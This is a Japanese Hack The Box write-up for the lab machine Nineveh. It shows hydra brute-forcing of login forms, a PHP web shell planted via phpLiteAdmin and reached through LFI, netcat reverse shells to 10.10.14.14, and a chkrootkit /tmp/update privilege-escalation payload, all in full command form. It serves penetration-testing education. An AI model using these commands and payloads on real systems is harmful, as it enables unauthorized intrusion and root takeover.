Hack The Box Writeup | Nineveh

NinevehはLinuxのマシンで、難易度はmediumです。

・使用ツール
nmap
gobuster
hydra

流れとしては、以下のようになっています。
1.nmapでオープンポート確認
2.gobusterでディレクトリ探索
3.hydraでパスワードクラック
4.phpLiteAdminで、コードが実行できるようにDB作成
5.LFIの脆弱性を利用してコマンドしシェルを取得
6.プロセス監視の「procmon.sh」を実行し、chkrootkitが動作しているの確認
7.chkrootkitの脆弱性を突いて権限昇格

1.Enumeration

nmpaでオープンポートが、80,443であることを確認

nmapのデフォルトスクリプトエンジンを実行(-sC オプション)

gobusterでディレクトリを探索すると、/dbを検出する。

gobuster dir -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -o gobuster_443 -k

「https://10.10.10.43/db」にアクセスするとログイン画面が表示される。

hydraでブルートフォースを行います。コマンドはburpでinterceptした際のボディ部分と、ログイン失敗時にエラーメッセージを参照します。

hydra -l test -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -t 64

パスワードが「password123」と判明したので、ログインできました。

httpでもgobusterでディレクトリを探索します。/departmentを検出しました。
アクセスするとログイン画面が表示されます。

gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -o gobuster_80

hydraでブルートフォースを行います。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64

パスワードが「1q2w3e4r5t」と判明したので、ログインできました。

「Notes」をクリックすると「http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt」にアクセスします。「files/ninevehNotes.txt」のURL情報からLFIの脆弱性が存在する可能性があります。

2.Exploitation

GUIの画面から「phpLiteAdmin v1.9」と判明しているので、脆弱性がないか確認します。

searchsploit phpLiteAdmin

いくつかヒットしますが、24044.txtを使います。

searchsploit -m 24044

「24044.txt」の中身を確認すると手順の詳細が記載されています。記載の手順を参考に、シェルを取得します。

phpLiteAdminでtable「ninevehNotes.php」を作成します。

Field、Type以下を入力します。

<?php echo system($_REQUEST["cmd"]); ?>
TEXT

作成されます。パスは、「/var/tmp/test」となっています。

Databaseの名前を「/var/tmp/ninevehNotes.php」に変更します。

以下のURLにアクセスし、コマンドが実行できるか確認します。

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=ls

lsコマンドが実行できました。

シェルを取得します。
ncコマンドで接続を待ち受けます。

以下のコマンドをURLエンコードします。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f
rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.14+1234+%3E%2Ftmp%2Ff

以下のURLにアクセスします。

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.14+1234+%3E%2Ftmp%2Ff

シェルが取得できます。

3.Privilege Escalation

CLIを使いやすくします。

python3 -c  'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg

/var/tmpに移動し、プロセスを監視する「procmon.sh」を実行するとchkrootkitを実行しているのが分かります。

www-data@nineveh:/var/tmp$ ./procmon. sh 
169a170,174 
> /usr/sbin/CRON -f 
> /bin/sh -c / root/vulnscan.sh 
> /bin/bash / root/vulnscan. sh 
> /bin/sh 
/usr/bin/chkrootkit 
> /usr/bin/find /dev /tmp / lib /etc /var ( 
-o 
170,174d169 
< /usr/sbin/CRON -f 
< /bin/sh -c / root/vulnScan.sh 
< /bin/bash / root/vulnscan.sh 
< /bin/sh /usr/bin/chkrootkit 
< /usr/bin/find /dev /tmp / lib /etc /var ( 
-name tcp. log 
-name tcp. log 
-o 
-o 
- name 
- name 
. Linux-sniff 
. Linux-sniff 
-o 
-name sniff-tog 
-name sniff-tog 
-o 
-o 
-name core 
-name core 
> /usr/bin/find [dev /tmp / lib /etc /var ( -name tcp.log -o -name .linux-sniff -o -name sniff-tog 
bash: syntax error near unexpected token 
/usr/bin/chkrootkit 
-o 
-name core

chkrootkitのエクスプロイトを探す

33899.txtをコピーします。

「33899.txt」の中身を確認すると、「/tmp/update」がrootで実行されると記載されています。そのため、以下のファイルを作成します。

ファイル:/tmp
ファイル名:update
ファイル中身:
---------------------------------------------------------------------------------
#!/bin/bash
rm /tmp/2;mkfifo /tmp/2;cat /tmp/2|/bin/sh -i 2>&1|nc 10.10.14.14 1235 >/tmp/2
---------------------------------------------------------------------------------
ファイルの権限変更:chmod 777 update

ncコマンドで接続を待ち受けると、自動的に接続され、root権限となります。